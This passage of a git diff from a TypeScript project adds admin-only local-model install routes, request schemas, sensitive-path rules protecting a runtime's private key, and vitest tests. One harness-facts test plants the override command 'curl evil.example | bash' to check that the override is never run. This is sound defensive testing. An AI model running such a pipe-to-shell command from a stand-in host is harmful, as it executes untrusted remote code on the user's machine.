return customModelHostsWriteErrorResponse(err);
}
if (err instanceof SettingsWriteRefusedError) {
reply.code(409);
return settingsWriteErrorResponse(err);
}
reply.code(500);
return createErrorResponse(ApiErrorCode.INTERNAL_ERROR, `The local model request failed: ${getErrorMessage(err)}`);
}
}
export function registerLocalModelRoutes(
app: FastifyInstance,
ctx: LocalModelRouteContext,
deps: Partial<LocalModelRouteDeps> = {}
): void {
const resolved: LocalModelRouteDeps = { ...defaultLocalModelRouteDeps, ...deps };
app.get(
'/api/local-model',
async (req: FastifyRequest, reply: FastifyReply): Promise<ApiResponse<LocalModelStatus>> => {
if (isMultiUserMode() && !isAdmin(req)) {
reply.code(403);
return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Admin only in multi-user mode');
}
const denied = adminOnly(req, reply);
if (denied) return denied;
let hardware: HardwareFacts;
try {
@@ -101,8 +224,13 @@ export function registerLocalModelRoutes(app: FastifyInstance, deps: Partial<Loc
try {
const catalog = resolved.getCatalog();
const harnessFacts = await resolved.buildHarnessFacts(catalog);
const recommendation = resolved.recommend(hardware, catalog, harnessFacts);
return { success: true, data: { hardware, recommendation, catalogUpdated: catalog.updated } };
const service = resolved.service();
// The measured budget once the runtime reported it, and the runtime download that an
// install would still add: what turns the estimate into the figures of the consent.
const options = await service.recommendOptions();
const recommendation = resolved.recommend(hardware, catalog, harnessFacts, options);
const install = await service.view();
return { success: true, data: { hardware, recommendation, catalogUpdated: catalog.updated, install } };
} catch (err) {
reply.code(500);
return createErrorResponse(
@@ -112,4 +240,40 @@ export function registerLocalModelRoutes(app: FastifyInstance, deps: Partial<Loc
}
}
);
app.post('/api/local-model/install', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
const body = parseBody(LocalModelInstallSchema, req.body);
return runVerb(reply, () => resolved.service().install(body, actorOf(req)));
});
app.post('/api/local-model/cancel', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
return runVerb(reply, () => resolved.service().cancel());
});
app.post('/api/local-model/resume', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
const body = parseBody(LocalModelResumeSchema, req.body ?? {});
return runVerb(reply, () => resolved.service().resume(body, actorOf(req)));
});
app.post('/api/local-model/runtime', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
const body = parseBody(LocalModelRuntimeSchema, req.body);
return runVerb(reply, () => resolved.service().runtime(body));
});
app.delete('/api/local-model', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
const body = parseBody(LocalModelRemoveSchema, req.body ?? {});
// Asked at the moment of the request: a session that started a second ago counts.
const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values());
return runVerb(reply, () => resolved.service().remove(body, sessionNames, actorOf(req)));
});
}
+11
View File
@@ -82,6 +82,7 @@ import {
CustomModelSelectionSchema,
} from '../schemas.js';
import { readCustomModelHosts, resolveCustomModelContextLength } from '../../custom-model-hosts.js';
import { getLocalModelService } from '../../local-model/install-job.js';
import { applyCustomModelInjection, removeConfigDir } from '../../custom-model-injection-apply.js';
import { buildCustomModelInjection } from '../../custom-model-injection.js';
import {
@@ -1783,6 +1784,11 @@ export function registerSessionRoutes(
if (!endpoint) {
return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found');
}
// The model Codeman runs on this Mac: only while its own runtime is up, and only the model
// that was installed, with the digest stored then (undefined for every other endpoint).
// Before anything is written or restarted.
const localModelRefusal = await getLocalModelService().launchRefusalMessage(endpoint.id, body.modelId);
if (localModelRefusal) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, localModelRefusal);
// Discovery's per-model figure wins; the endpoint's user-set default covers models
// whose size discovery could not determine (a gateway that states none, say). With
// neither, the existing "no override, CLI assumes its own default" behaviour stands.
@@ -4772,6 +4778,11 @@ export function registerSessionRoutes(
const cmHosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR);
const cmEndpoint = cmHosts.find((h) => h.id === customModel.endpointId);
if (!cmEndpoint) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found');
// See the dedicated route: the model Codeman runs on this Mac is launched only while its
// own runtime is up and its digest is the one stored at install time. Before any
// confirmation is asked for and before a session exists.
const cmLocalModelRefusal = await getLocalModelService().launchRefusalMessage(cmEndpoint.id, customModel.modelId);
if (cmLocalModelRefusal) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, cmLocalModelRefusal);
// Per-model discovery figure first, user-set endpoint default second, nothing third
// (see the dedicated route's own comment above).
const cmContextLength = resolveCustomModelContextLength(cmEndpoint, customModel.modelId);
+37
View File
@@ -2466,6 +2466,43 @@ export const CustomModelHostSchema = z.object({
defaultContextLength: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS).optional(),
});
// ---------- Local model install (src/web/routes/local-model-routes.ts) ----------
/**
* A model id as the local model catalogue writes it: `name:tag`, lowercase, no slash. The
* same pattern as `LOCAL_MODEL_ID_PATTERN` in config/local-model-catalog.ts, repeated here as
* a request-shape check: without a slash an id can never name another registry host. The
* real gate is the route's own lookup of the id in what the server offers.
*/
const localModelId = z
.string()
.max(200)
.regex(/^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/, 'Invalid model id');
/** POST /api/local-model/install: the row the person chose and the size they confirmed. */
export const LocalModelInstallSchema = z
.object({
modelId: localModelId,
cli: z
.string()
.max(64)
.regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'),
context: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS),
acknowledgedBytes: z.number().int().nonnegative().max(Number.MAX_SAFE_INTEGER),
})
.strict();
/** POST /api/local-model/resume. The body may be empty. */
export const LocalModelResumeSchema = z.object({ newPort: z.boolean().optional() }).strict();
/** POST /api/local-model/runtime. */
export const LocalModelRuntimeSchema = z
.object({ action: z.enum(['start', 'stop']), newPort: z.boolean().optional() })
.strict();
/** DELETE /api/local-model. The body may be empty. */
export const LocalModelRemoveSchema = z.object({ removeModel: z.boolean().optional() }).strict();
/**
* A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` —
* duplicated rather than imported, since the REAL safety boundary for anything built from
+5
View File
@@ -113,6 +113,11 @@ const SENSITIVE_PATTERNS: RegExp[] = [
/\/\.codeman[^/]*\/webhook\.json$/,
/\/\.codeman[^/]*\/custom-model-hosts\.json$/,
/\/\.codeman[^/]*\/custom-model-configs\//,
// The local model runtime (src/local-model/) is started with a private HOME inside the data
// dir and makes a key pair for itself there (`home/.ollama/id_ed25519`). A runtime the user
// runs on their own keeps the same key under their real home.
/\/\.codeman[^/]*\/local-model\/home\//,
/\/\.ollama\/id_ed25519$/,
// Config backups are dated COPIES of the files above (users.json and settings.json
// included), which the name-anchored patterns do not match. A custom
// `configBackupDir` is outside what a pattern here can name.
+17 -1
View File
@@ -146,6 +146,7 @@ import { probeLocalPaths, readClaudeEditSources, resolveClaudeTranscript } from
import { remoteLocateClaudeTranscript, remoteProbePaths, remoteReadClaudeEditSources } from '../remote-files.js';
import { remoteTmuxLocation } from '../tmux-manager.js';
import { stopDeepSeekWeb } from '../deepseek-web-server.js';
import { getLocalModelService } from '../local-model/install-job.js';
import {
wireRespawnListeners,
setupTimedRespawn,
@@ -1418,7 +1419,7 @@ export class WebServer extends EventEmitter {
registerDoctorRoutes(this.app);
registerCustomModelRoutes(this.app);
registerCliRegistryRoutes(this.app);
registerLocalModelRoutes(this.app);
registerLocalModelRoutes(this.app, ctx);
// Cron: build the service from the same context, recompute
// due times for any persisted jobs, then expose it to its routes.
@@ -3441,6 +3442,14 @@ export class WebServer extends EventEmitter {
}
}
// The model Codeman runs on this Mac (src/local-model/): a job a restart interrupted comes
// back paused and waits for a click, and an installed runtime that was not stopped is
// started again (an own orphan on its port is adopted or replaced). Off the startup path:
// boot() never throws, and nothing waits for a runtime to answer. Not in tests.
if (!this.testMode) {
void getLocalModelService().boot();
}
// Sweep agent preamble caches whose sessions are gone (see
// pruneAgentSessionPreambles). Once per boot, after restore, so every session this
// instance owns is in the keep set. Best-effort and off the startup critical path.
@@ -4590,6 +4599,13 @@ export class WebServer extends EventEmitter {
// got wrong once.
void stopDeepSeekWeb();
// The local model runtime is a non-detached child, but a child is not ended by its
// parent's exit: it gets SIGTERM here, and an install job in flight is interrupted (the
// next start reads it as paused). An orphan a hard kill leaves is adopted at the next boot.
if (!this.testMode) {
void getLocalModelService().shutdown();
}
// The header's GPU / CPU clock sampler is a Windows child process under WSL, and its idle sweep a timer.
stopHostSensors();
+417
View File
@@ -0,0 +1,417 @@
/**
* @fileoverview Connecting the installed local model to Codeman and undoing it
* (src/local-model/connect.ts): the two writes outside the local model folder.
*
* What is pinned:
* - the endpoint record's exact shape, and that it passes the schema every saved endpoint passes;
* - connecting writes the record and switches the settings flag on, keeps every other
* endpoint and setting, and is idempotent;
* - the reserved id is never taken over: a record with it that is not ours refuses the
* connect and changes nothing;
* - a refused write leaves the pair as it was (a record this call added is taken out again);
* - disconnecting removes our record, and restores the flag ONLY when this feature switched
* it on and no other endpoint is saved;
* - the digest comparison, the session names of the DELETE's 409, the managed-record test,
* and that the runtime's private key cannot be served.
*
* Port: N/A (no server; the two files live in the test's temp data dir).
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { dataPath, getDataDir } from '../src/config/instance.js';
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
import {
buildLocalEndpointRecord,
compareModelDigest,
connectLocalModel,
disconnectLocalModel,
ensureLocalEndpoint,
isLocalModelEndpointId,
isManagedLocalEndpoint,
LOCAL_MODEL_ENDPOINT_ID,
LOCAL_MODEL_ENDPOINT_LABEL,
moveLocalEndpoint,
sessionNamesUsingEndpoint,
} from '../src/local-model/connect.js';
import { CustomModelHostSchema } from '../src/web/schemas.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
import { isSensitivePath } from '../src/web/sensitive-path.js';
const HOSTS = () => customModelHostsPath(getDataDir());
const STATE = () => dataPath('local-model.json');
const INPUT = { port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072 };
const OTHER: CustomModelHost = {
id: 'office-gpu',
label: 'Office GPU',
baseUrl: 'http://192.168.1.50:8080',
apiKey: 'sk-keep-me',
models: ['some-model'],
};
const RECORD: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
function writeSettings(settings: Record<string, unknown>): void {
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, JSON.stringify(settings));
}
const readSettings = (): Record<string, unknown> => JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'));
function writeHosts(hosts: CustomModelHost[]): void {
writeFileSync(HOSTS(), JSON.stringify(hosts));
}
afterEach(() => {
rmSync(HOSTS(), { force: true });
rmSync(SETTINGS_PATH, { force: true });
rmSync(STATE(), { force: true });
vi.restoreAllMocks();
});
describe('buildLocalEndpointRecord', () => {
it('is the one record this feature writes, to the letter', () => {
expect(LOCAL_MODEL_ENDPOINT_ID).toBe('local-ollama');
expect(LOCAL_MODEL_ENDPOINT_LABEL).toBe('This Mac');
expect(buildLocalEndpointRecord(INPUT)).toEqual(RECORD);
});
it('carries no API key and no field of its own invention', () => {
expect(Object.keys(buildLocalEndpointRecord(INPUT)).sort()).toEqual([
'authStyle',
'baseUrl',
'defaultContextLength',
'defaultModelId',
'id',
'label',
'models',
]);
});
it('passes the schema a saved endpoint must pass, unchanged', () => {
const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(INPUT));
expect(parsed.success).toBe(true);
expect(parsed.data).toEqual(RECORD);
});
it('the port of the runtime is the port of the URL, and the chosen context is the default context', () => {
const record = buildLocalEndpointRecord({ port: 11442, modelId: 'gpt-oss:20b', context: 65536 });
expect(record.baseUrl).toBe('http://127.0.0.1:11442');
expect(record.models).toEqual(['gpt-oss:20b']);
expect(record.defaultModelId).toBe('gpt-oss:20b');
expect(record.defaultContextLength).toBe(65536);
});
});
describe('connectLocalModel', () => {
it('on a fresh data dir: writes the record, switches the flag on, and reports that it was off', async () => {
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('keeps every other endpoint and every other setting', async () => {
writeHosts([OTHER]);
writeSettings({ tmuxHistoryLimit: 5000, customModelEndpointsEnabled: false, voiceSettings: { apiKey: 'dg' } });
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
expect(readSettings()).toEqual({
tmuxHistoryLimit: 5000,
customModelEndpointsEnabled: true,
voiceSettings: { apiKey: 'dg' },
});
});
it('a flag that was already on is reported as such and the settings file is not rewritten', async () => {
writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a'] });
const before = readFileSync(SETTINGS_PATH, 'utf8');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: true });
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(before);
});
it('is idempotent: a second connect replaces our record and hands the first flag value back', async () => {
writeHosts([OTHER]);
const first = await connectLocalModel({ ...INPUT, ours: false });
expect(first).toEqual({ ok: true, flagWasEnabled: false });
// The second connect finds the flag ON, because the first switched it on. The value that
// is remembered must stay the one from before this feature touched it.
const second = await connectLocalModel({ ...INPUT, context: 65536, ours: true, flagWasEnabled: false });
expect(second).toEqual({ ok: true, flagWasEnabled: false });
const hosts = await readCustomModelHosts(getDataDir());
expect(hosts.map((host) => host.id)).toEqual(['office-gpu', 'local-ollama']);
expect(hosts[1].defaultContextLength).toBe(65536);
});
it('replaces our own record in place when the state says it is ours', async () => {
writeHosts([{ ...RECORD, baseUrl: 'http://127.0.0.1:11440', models: ['old:1b'] }, OTHER]);
const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: true });
expect(result).toEqual({ ok: true, flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD, OTHER]);
});
it('never takes over a record with the reserved id that is not ours, and changes nothing', async () => {
const theirs: CustomModelHost = { id: 'local-ollama', label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' };
writeHosts([theirs]);
writeSettings({ customModelEndpointsEnabled: false });
const hostsBefore = readFileSync(HOSTS(), 'utf8');
const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: false, code: 'endpoint-id-taken' });
expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore);
});
it('an endpoint store that does not parse is connect-failed: neither file is touched', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '[{"id":"x","apiKey":"sk-secret"},');
writeSettings({ customModelEndpointsEnabled: false });
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(result.ok === false && result.detail).toContain('custom-model-hosts.json');
expect(result.ok === false && result.detail).not.toContain('sk-secret');
expect(readFileSync(HOSTS(), 'utf8')).toBe('[{"id":"x","apiKey":"sk-secret"},');
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
});
it('a settings file that does not parse is connect-failed, and the record just added is taken out again', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeHosts([OTHER]);
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, '{"customModelEndpointsEnabled":');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(result.ok === false && result.detail).toContain('settings.json');
// The pair is not left half done: a later attempt starts from the same place.
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe('{"customModelEndpointsEnabled":');
});
it('a settings failure does not take out a record that was ours before this call', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeHosts([RECORD]);
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, 'not json');
const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
});
it('a port that cannot be a URL is connect-failed before anything is written', async () => {
const result = await connectLocalModel({ port: Number.NaN, modelId: 'x:y', context: 131072, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(existsSync(HOSTS())).toBe(false);
expect(existsSync(SETTINGS_PATH)).toBe(false);
});
});
describe('moveLocalEndpoint', () => {
it('moves our record to the new port and keeps everything else of it', async () => {
writeHosts([OTHER, RECORD]);
await moveLocalEndpoint(11441);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, { ...RECORD, baseUrl: 'http://127.0.0.1:11441' }]);
});
it('a missing record is not an error and creates no file', async () => {
await moveLocalEndpoint(11441);
expect(existsSync(HOSTS())).toBe(false);
writeHosts([OTHER]);
await moveLocalEndpoint(11441);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
});
});
describe('ensureLocalEndpoint', () => {
it('puts our record back when it is gone, keeps the other endpoints, and does not touch the settings', async () => {
writeHosts([OTHER]);
writeSettings({ customModelEndpointsEnabled: false });
expect(await ensureLocalEndpoint(INPUT)).toBe(true);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
// A person who switched the setting off meant to.
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
});
it('never replaces a record that is there, ours or not', async () => {
const theirs: CustomModelHost = { id: 'local-ollama', label: 'Edited', baseUrl: 'http://127.0.0.1:11499' };
writeHosts([theirs]);
const before = readFileSync(HOSTS(), 'utf8');
expect(await ensureLocalEndpoint(INPUT)).toBe(false);
expect(readFileSync(HOSTS(), 'utf8')).toBe(before);
});
it('never throws: a store that does not parse is left alone', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '{broken');
expect(await ensureLocalEndpoint(INPUT)).toBe(false);
expect(readFileSync(HOSTS(), 'utf8')).toBe('{broken');
});
});
describe('disconnectLocalModel', () => {
it('removes our record and switches the flag off again when this feature switched it on and no other endpoint is left', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 });
await disconnectLocalModel({ flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false, tmuxHistoryLimit: 5000 });
});
it('leaves the flag on when it was on before this feature', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('leaves the flag on when another endpoint is still saved, although this feature switched it on', async () => {
writeHosts([OTHER, RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('leaves the flag on when it was on before AND another endpoint is saved', async () => {
writeHosts([RECORD, OTHER]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('is idempotent: a second call changes nothing, and a flag somebody switched off stays off', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: false });
const hosts = readFileSync(HOSTS(), 'utf8');
const settings = readFileSync(SETTINGS_PATH, 'utf8');
await disconnectLocalModel({ flagWasEnabled: false });
expect(readFileSync(HOSTS(), 'utf8')).toBe(hosts);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settings);
});
it('with nothing saved at all it writes neither file', async () => {
await disconnectLocalModel({ flagWasEnabled: false });
expect(existsSync(HOSTS())).toBe(false);
expect(existsSync(SETTINGS_PATH)).toBe(false);
});
it('rejects when the endpoint store must not be overwritten, and leaves the flag alone', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '{broken');
writeSettings({ customModelEndpointsEnabled: true });
await expect(disconnectLocalModel({ flagWasEnabled: false })).rejects.toThrow('custom-model-hosts.json');
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('connect then disconnect leaves the data dir as it was found', async () => {
writeHosts([OTHER]);
writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
const connected = await connectLocalModel({ ...INPUT, ours: false });
expect(connected).toEqual({ ok: true, flagWasEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
});
});
describe('the reserved id and the managed record', () => {
it('isLocalModelEndpointId is an exact match', () => {
expect(isLocalModelEndpointId('local-ollama')).toBe(true);
for (const id of ['Local-Ollama', 'local-ollama ', 'local-ollama-2', 'ollama', '']) {
expect(isLocalModelEndpointId(id)).toBe(false);
}
});
it('a record with the reserved id is managed only while the state file records it as ours', async () => {
// No state file: somebody made that record by hand.
expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
const installed = {
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
};
writeFileSync(STATE(), JSON.stringify(installed));
expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
writeFileSync(
STATE(),
JSON.stringify({ ...installed, connection: { endpointId: 'local-ollama', flagWasEnabled: false } })
);
expect(await isManagedLocalEndpoint('local-ollama')).toBe(true);
// Any other id is never managed, whatever the state file says.
expect(await isManagedLocalEndpoint('office-gpu')).toBe(false);
});
});
describe('sessionNamesUsingEndpoint', () => {
const sessions = [
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
{ name: 'w2-app' },
{ name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
{ name: 'w4-lib', customModel: { endpointId: 'local-ollama' } },
];
it('names the sessions on our endpoint, in the order given', () => {
expect(sessionNamesUsingEndpoint(sessions)).toEqual(['w1-app', 'w4-lib']);
});
it('takes any iterable and another endpoint id', () => {
expect(sessionNamesUsingEndpoint(new Set(sessions), 'office-gpu')).toEqual(['w3-lib']);
expect(sessionNamesUsingEndpoint(new Map().values())).toEqual([]);
});
});
describe('compareModelDigest', () => {
const digest = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
it('same digest, same model', () => {
expect(compareModelDigest(digest, digest)).toBe('same');
});
it('a prefix or another letter case is not a change', () => {
expect(compareModelDigest(digest, `sha256:${digest}`)).toBe('same');
expect(compareModelDigest(digest.toUpperCase(), ` ${digest} `)).toBe('same');
});
it('another digest under the same name is a change', () => {
expect(compareModelDigest(digest, digest.replace(/^0/, '1'))).toBe('changed');
expect(compareModelDigest(digest, digest.slice(0, 12))).toBe('changed');
});
it('is unknown when either side is absent or empty', () => {
expect(compareModelDigest(undefined, digest)).toBe('unknown');
expect(compareModelDigest(digest, undefined)).toBe('unknown');
expect(compareModelDigest('', digest)).toBe('unknown');
expect(compareModelDigest(digest, 'sha256:')).toBe('unknown');
expect(compareModelDigest(undefined, undefined)).toBe('unknown');
});
});
describe('the runtime keeps a private key that is never served', () => {
it('everything in the private home is on the sensitive list, and so is a runtime key under a real home', () => {
const home = join(getDataDir(), 'local-model', 'home');
expect(isSensitivePath(join(home, '.ollama', 'id_ed25519'))).toBe(true);
expect(isSensitivePath(join(home, '.ollama', 'id_ed25519.pub'))).toBe(true);
expect(isSensitivePath('/Users/me/.codeman-beta/local-model/home/.ollama/server.json')).toBe(true);
expect(isSensitivePath('/Users/me/.ollama/id_ed25519')).toBe(true);
});
it('the model store and the state file hold no secret and stay ordinary files', () => {
expect(isSensitivePath(join(getDataDir(), 'local-model', 'models', 'manifest'))).toBe(false);
expect(isSensitivePath('/Users/me/.ollama/models/blobs/sha256-abc')).toBe(false);
});
});
+90 -1
View File
@@ -12,6 +12,9 @@
* - The registry's install command resolver reads `process.platform` and falls back to the
* Linux command, so on a Linux machine it never returns a macOS command. The macOS cases
* inject `installCommandFor` and read the entry's own `darwin` command.
* - The command a fact carries (`installCommand`) is the COMPILED stock command, the one the
* install job would run. A `clis.json` override changes what the registry shows and must
* not change it.
*
* Port: none (no server; the on-disk case uses the per-file temp HOME from test/setup.ts).
*/
@@ -24,6 +27,7 @@ import {
cliAcceptsCustomModelId,
installCommandNeedsAdmin,
} from '../src/local-model/harness-facts.js';
import { stockInstallCommand } from '../src/cli-install-runner.js';
import { getCli, registryFilePath, reloadCliRegistry } from '../src/config/cli-registry/registry.js';
import type { CliEntry } from '../src/config/cli-registry/types.js';
import type { LocalModelCatalog } from '../src/types.js';
@@ -34,7 +38,6 @@ function catalogWith(clis: string[]): LocalModelCatalog {
schema: 1,
updated: '2026-11-06',
minMacosMajor: 14,
promptCacheTiers: [{ minMemGb: 0, bytes: 512 * 1024 * 1024 }],
models: [],
harnesses: clis.map((cli, index) => ({ cli, minContext: 32768, rank: clis.length - index })),
chips: [],
@@ -303,4 +306,90 @@ describe('buildHarnessFacts', () => {
it('an empty harness list is an empty answer', async () => {
expect(await buildHarnessFacts(catalogWith([]))).toEqual([]);
});
describe('installCommand: the literal command the consent screen prints', () => {
it('is present exactly when the fact is installable, and is the command that was judged', async () => {
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
probeInstalled: installedOnly('claude'),
installCommandFor: darwinCommand,
});
for (const fact of facts) {
expect('installCommand' in fact).toBe(fact.installable);
}
const byCli = new Map(facts.map((f) => [f.cli, f]));
expect(byCli.get('opencode')?.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
expect(byCli.get('pi')?.installCommand).toBe(darwinCommand(stockEntry('pi')));
// Installed: nothing would be run, so nothing is shown.
expect(byCli.get('claude')).not.toHaveProperty('installCommand');
// Homebrew needs an administrator: not installable, and no command is offered.
expect(byCli.get('omp')).not.toHaveProperty('installCommand');
});
it('with its default dependencies it is the stock command of this platform', async () => {
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
expect(fact).toMatchObject({
installed: false,
installable: true,
installCommand: stockInstallCommand('opencode'),
});
expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
});
it('a clis.json override of the install command changes neither the fact nor whether it is installable', async () => {
const path = registryFilePath();
mkdirSync(dirname(path), { recursive: true });
writeFileSync(
path,
JSON.stringify({
schemaVersion: 1,
clis: {
opencode: {
discovery: {
install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
},
},
},
}),
{ mode: 0o600 }
);
reloadCliRegistry();
// The override is what the registry now says...
expect(stockEntry('opencode').discovery.install.command.darwin).toBe('curl evil.example | bash');
// ...and it is not what the install job would run, so it is not what the fact carries.
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
expect(fact.installable).toBe(true);
expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash');
});
it('an override that makes the registry command need an administrator does not hide a stock command that needs none', async () => {
const path = registryFilePath();
mkdirSync(dirname(path), { recursive: true });
writeFileSync(
path,
JSON.stringify({
schemaVersion: 1,
clis: { opencode: { discovery: { install: { command: { linux: 'sudo true', darwin: 'sudo true' } } } } },
}),
{ mode: 0o600 }
);
reloadCliRegistry();
const [fact] = await buildHarnessFacts(catalogWith(['opencode']));
expect(fact.installable).toBe(true);
expect(fact.installCommand).not.toContain('sudo');
});
it('a custom entry never carries a command: its install text is never run', async () => {
const custom = (id: string): CliEntry | undefined => {
const entry = getCli(id);
return entry ? { ...entry, stock: false } : entry;
};
const [fact] = await buildHarnessFacts(catalogWith(['opencode']), {
getCli: custom,
probeInstalled: installedOnly(),
installCommandFor: darwinCommand,
});
expect(fact.installable).toBe(false);
expect(fact).not.toHaveProperty('installCommand');
});
});
});
+700
View File
@@ -0,0 +1,700 @@
/**
* @fileoverview The pure half of the local model install job (src/local-model/install-job.ts):
* the three tables, the reducer over them, and the view.
*
* The reducer is tested from the tables it is written against: every state is paired with
* every event, and what `INSTALL_TRANSITIONS` says must happen is what happens (a pair the
* table does not list hands back the very object it was given). The state table's own
* columns (what a restart and Cancel do, which actions are allowed) are checked against the
* reducer and the view, so the table in the file header cannot drift from the code.
*
* The service that drives the job is in test/local-model-install-service.test.ts.
*
* Port: N/A (pure functions).
*/
import { describe, expect, it } from 'vitest';
import {
allowedActions,
buildInstallError,
buildInstallView,
formatInstallMessage,
INSTALL_STATE_TABLE,
INSTALL_STEP_TABLE,
INSTALL_TRANSITIONS,
installedBlocker,
jobSteps,
reduceInstallJob,
type InstallJobEvent,
type InstallJobEventType,
type InstallLiveFacts,
